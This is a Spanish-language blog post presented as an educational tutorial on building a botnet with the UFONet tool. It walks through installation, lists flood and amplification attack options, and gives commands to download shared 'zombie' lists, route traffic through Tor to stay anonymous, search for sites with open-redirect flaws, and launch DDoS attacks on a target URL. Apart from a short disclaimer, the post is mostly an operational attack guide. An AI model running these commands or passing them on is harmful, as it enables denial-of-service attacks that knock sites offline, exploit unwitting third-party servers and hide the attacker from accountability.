• Home
  • About
    • Sh3yk0 Portfolio photo

      Sh3yk0 Portfolio

      An aspiring developer who loves to take on new projects that challenges his analytical and technological capacities

    • Learn More
    • LinkedIn
    • Github
  • Posts
    • All Posts
    • All Tags
  • Projects

Como crear una Botnet

23 Feb 2022

Reading time ~7 minutes

Como montar una botnet con UFONet?

Para uso educativo

Antes de iniciar este post, hago un disclaimer de lo que el lector pueda hacer con la informacion aqui mostrada, esto es con fin meramente educativo y que conozcan la manera en la que se hacen los ataques DoS y DDoS

Version GUI de UFONet.

Introducción

UFONet se ejecuta en diversas plataformas. Requiere Python (>=3) y las siguientes bibliotecas:

python3-pycurl - Enlaces de Python a libcurl (Python 3)
python3-geoip - Enlaces de Python para la libreria de resolucion de ip a país con GeoIP
libgeoip-dev - Archivos de desarrollo para la libreria GeoIP
libgeoip1 - Libreria de resolucion de IP que no es DNS
python3-whois - Modulo de Python para recuperar información WHOIS - Python 3
python3-crypto - Algorittmos y protocolos criptográficos para Python
python3-requests - Libreria HTTP elegante y simple para Python 3
python3-scapy - Herramienta de seguridad de elaboracion / manipulacion / visualizacion de paquetes

Clonamos el repositorio en local.

git clone https://github.com/epsylon/ufonet.git
cd ufonet

Se pueden descargar automaticamente todas las bibliotecas requeridas usando (como root):

python3 setup.py install

O se puede instalar manualmente, en sistemas basados en Debian, ejecutando:

sudo apt-get install python3-pycurl python3-geoip python3-whois python3-crypto python3-requests python3-scapy libgeoip1 libgeoip-dev

En otros sistemas como: Kali, Arch, ParrotSec, Fedora, Red hat, Centos, etc… tambien ejecute:

pip3 install GeoIP
pip3 install python-geoip
pip3 install pygeoip
pip3 install requests
pip3 install pycrypto
pip3 install pycurl
pip3 install whois
pip3 install scapy-python3

Origen de las librerias :

  • Python: https://www.python.org/downloads/
  • PyCurl: http://pycurl.sourceforge.net/
  • GeoIP: https://pypi.python.org/pypi/GeoIP/
  • Python-geoip: https://pypi.org/project/python-geoip/
  • Pygeoip: https://pypi.org/project/pygeoip/
  • Whois: https://pypi.python.org/pypi/whois
  • PyCrypto: https://pypi.python.org/pypi/pycrypto
  • PyRequests: https://pypi.python.org/pypi/requests
  • Scapy-Python3: https://pypi.org/project/scapy-python3/
  • Leaflet: http://leafletjs.com/  (provided)

Introducción a la herramienta

UFONet es un software libre, P2P y criptográfico que permite realizar ataques de denegacion de servicios (DoS) y de denegacion distribuida de servicios (DDoS), en la capa 7 , APP/HTTP (del Open Systems Interconnection model ) mediante la explotacion de una vulnerabilidad Open Redirect en sitios web de terceros para asi actuar como botner en la capa 3 (Red) abusando del protocolo.

Tambien funciona como una DarkNET encriptada para publicar y recibir contenido mediante la creacion de una red globar cliente / servidor.

El uso de este herramienta para atacar objetivos sin previo consentimiento es una practica ilegal.

Cómo se utiliza?

El uso de esta herramienta es con el siguiente comando:

./ufonet {options}

Opciones

Common Flags

Opción Versión corta Descripcion
–version   muestra el número de versión del programa
–help -h Muestra este mensaje de ayuda
–verbose   muestra el número de versión del programa
–version -v activa verbose en las solicitudes
–examples   imprime algunos ejemplos
–timeline   muestra la línea de tiempo del código del programa
–update   la comprobación de la última versión estable
–check-tor   comprueba si Tor esta correctamente instalado
–force-ssl   fuerza el uso de solicitudes SSL/HTTPS
–force-yes   establezca ‘SÍ’ en todas las preguntas
–gui   Activa la interfaz grafica en el puerto 9999

Herramientas

Opción Versión corta Descripcion
–crypter   Cifrar/descifrar mensajes usando AES256+HMAC-SHA1
–network   Mostrar información sobre su red (MAC, IP’s)
–xray=XRAY   Escáner de puerto rápido (por ejemplo: –xray ‘http(s)://target-com’)
–xray-ps=XRAYPS   Establecer rango de puertos para escanear (por ejemplo: –xray-ps ‘1-1024’)

Configuració de las peticiones

Opción Versión corta Descripcion
–proxy=PROXY   Usar servidor proxy (por ejemplo: - -proxy ‘http://127.0.0.1:8118’)
–user-agent=AGENT   Use otro encabezado HTTP User-Agent (predeterminado: SPOOFED)
–referer=REFERER   Use otro encabezado HTTP Referer (predeterminado: SPOOFED)
–host=HOST   Use otro encabezado de host HTTP (predeterminado: NINGUNO)
–xforw   Configure su HTTP X-Forwarded-For con valores de IP aleatorios
–xclient   Establezca su HTTP X-Client-IP con valores de IP aleatorios
–timeout=TIMEOUT   Seleccione su tiempo de espera (predeterminado: 5)
–retries=RETRIES   Reintenta cuando la conexión se agota (predeterminado: 0)
–threads=THREADS   Número máximo de solicitudes HTTP concurrentes (predeterminado: 5)
–delay=DELAY   Retraso entre cada solicitud HTTP (predeterminado: 0)

Busqueda de Zombies

Opción Versión corta Descripcion
–auto-search   Buscar automáticamente ‘zombies’ (¡puede llevar tiempo!)
-s -s Busca desde un “dork” (ej.: -s ‘proxy.php?url=’)
–sd=DORKS   Buscar desde el archivo ‘dorks’ (ej.: –sd ‘botnet/dorks.txt’)
–sn=RESULTS   Establecer el número máximo de resultados para el motor (predeterminado: 10)
–se=ENGINE   Motor de búsqueda para ‘dorking’ (predeterminado: DuckDuckGo)
–sa   Buscar masivamente usando todos los motores (¡puede tomar tiempo!)
—sax=ENGINE   Excluye motores cuando se realizan búsquedas masivas (por ejemplo: ‘Bing,Yahoo’)

Probar la botnet

Opción Versión corta Descripcion
–test-offline   Comprobación rápida para descartar bots fuera de línea
–test-all   Actualizar TODO el estado de botnet (puede llevar tiempo!)
-t -t Actualizar el estado de ‘zombies’ (por ejemplo: -t ‘botnet/zombies.txt’ )
–attack-me   Ordene a los ‘zombis’ que lo ataquen (se requiere NAT!)

Comunidad

Opción Versión corta Descripcion
–deploy   Implemente datos para compartir en ‘ /var/www/ufonet/’
–grider   Crear un ‘grider’ para compartir ‘estadísticas/juegos de guerra/mensajes’
–black-hole   Generar un ‘agujero negro’ para compartir ‘zombis’
–up-to=UPIP   Subir ‘zombies’ a IP (ej: –up- para ‘255.255.1.1’)
–down-to=DIP   Subir ‘zombies’ a IP (ej: –up- para ‘255.255.1.1’)
–upload-zombies   Subir ‘zombies’ a la comunidad
–udownload-zombies   Descargar ‘zombies’ a la comunidad
–upload-github   Subir ‘zombies’ a GitHub
–download   Descargar ‘zombies’ de GitHub

Objetivo de investigacion

Opción Versión corta Descripcion
-i -i Buscar el archivo más grande (por ejemplo: -i ‘http(s)://target.com’)
-x -x Examinar la configuración del servidor web (+CVE, +detección WAF)

Configuracion de ataques

Opción Versión corta Descripcion
-a=TARGET -a [DDoS] ataca un objetivo (ej: -a ‘http(s)://target.com’)
-f=TARGET_LIST -f [DDoS] ataca una lista de objetivos (ej: -f ‘targets.txt’)
-b=PLACE -b Set lugar para atacar (ej: -b ‘/path/big.jpg’)
-r=ROUNDS -r Establece el número de rondas (por ejemplo: -r ‘1000’) (predeterminado: 1)

Configuraciones Adicionales

Opción Versión corta Descripcion
–no-droids   Deshabilitar redireccionadores ‘DROIDS’
–no-ucavs   Deshabilitar verificadores ‘UCAVS’
–no-aliens   Deshabilitar el abuso web de ‘ALIENS’
–no-rpcs   Deshabilitar los reflectores ‘XML-RPCs’
–no-head   Deshabilitar ‘Is target up?’ Comprobación inicial
–no-scan   Desactivar la comprobación de ronda de ‘Escanear escudos’
–no-purge   Desactivar la comprobación de ronda de ‘Purga de zombis’
–expire=EXPIRE   Establece el tiempo de caducidad para ‘Purga de zombis’ (predeterminado: 30)

Ataques Adicionales

Opción Versión corta Descripcion
–fraggle=FRAGGLE   ‘Amplificación UDP’ (por ejemplo: –fraggle 101) [DDoS]
–tachyon=TACHYON   ‘Amplificación DNS’ (ej: –tachyon 101) [DDoS]
–monlist=MONLIST   ‘Amplificación NTP’ (ej: –monlist 101) [DDoS]
–smurf=SMURF   ‘Amplificación ICMP ‘ (ej: –smurf 101) [DDoS]
–sniper=SNIPER   ‘SNMP amplification’ (ej: –sniper 101) [DDoS]
–spray=SPRAY   ‘reflejo TCP-SYN’ (ej: –spray 101) [DDoS]
–db=DBSTRESS   ‘HTTP-DB flood’ (ej: –db ‘search.php?q=’) [DDoS]
–loic=LOIC   ‘HTTP-FAST flood’ (por ejemplo: – loic 101) [DoS]
–loris=LORIS   ‘HTTP-SLOW flood’ (por ejemplo: –loris 101) [DoS]
—ufosyn=UFOSYN   ‘TCP-SYN flood’ (por ejemplo: –ufosyn 101) [DoS]
—xmas=XMAS   ‘TCP-XMAS flood’ (por ejemplo: –xmas 101) [DoS]
—nuke=NUKE   ‘TCP-STARVATION flood’ (por ejemplo: –nuke 101) [DoS]
—ufoack=UFOACK   ‘TCP-ACK flood’ (por ejemplo: –ufoack 101) [DoS]
—uforst=UFORST   ‘TCP-RST flood’ (p. ej.: –uforst 101) [DoS]
–droper=DROPER   ‘IP-FRAGMENTATION flood’ (p. ej.: –droper 101) [DoS]
–overlap=OVERLAP   ‘IP-OVERLAP flood’ (p. ej.: –droper 101) [DoS]
–pinger   ‘ICMP flood’ (por ejemplo: –pinger 101) [DoS]
–ufoudp=UFOUDP   ‘UDP flood’ (ex: –ufoudp 101) [DoS]

Para descargar los zombies de la comunidad se usa:

python3 ufonet --download-zombies

En este punto es donde la cosa se pone interesante

Se recomienda completamente hacer las pruebas dentro de una maquina virtual con disco duro cifrado, asi como entrar en anonimato desde una red Tor

Como root ejecutamos los siguientes comandos

apt-get install tor vidalia
apt-get install vidalia
apt-get install privoxy
apt-get install vidalia privoxy
#--------#
service tor start
service privoxy start
python3 ufonet --check-tor

para poder encontrar los servidores web vulnerables a Open Redirect a traves de los dorks que ya existen por defecto

cd  /ufonet/botnet
cat dorks.txt
cd ..
python3 ufonet -v --sd=botnet/dorks.txt --proxy="http://127.0.0.1:8118"

Para realizar un ataque normal corremos el siguiente comando

python3 ufonet -a https://example.io -r 8 --sa

Para realizar un ataque bajo Proxy

python3 ufonet -a https://example.io -r 8 --proxy="http://127.0.0.1:8080" --sa

O podemos realizar todo desde la propia GUI de la aplicacion:

python3 ufonet --gui


EspañolCiberseguridadTutorialDocumentacionDoSDDoS Share Tweet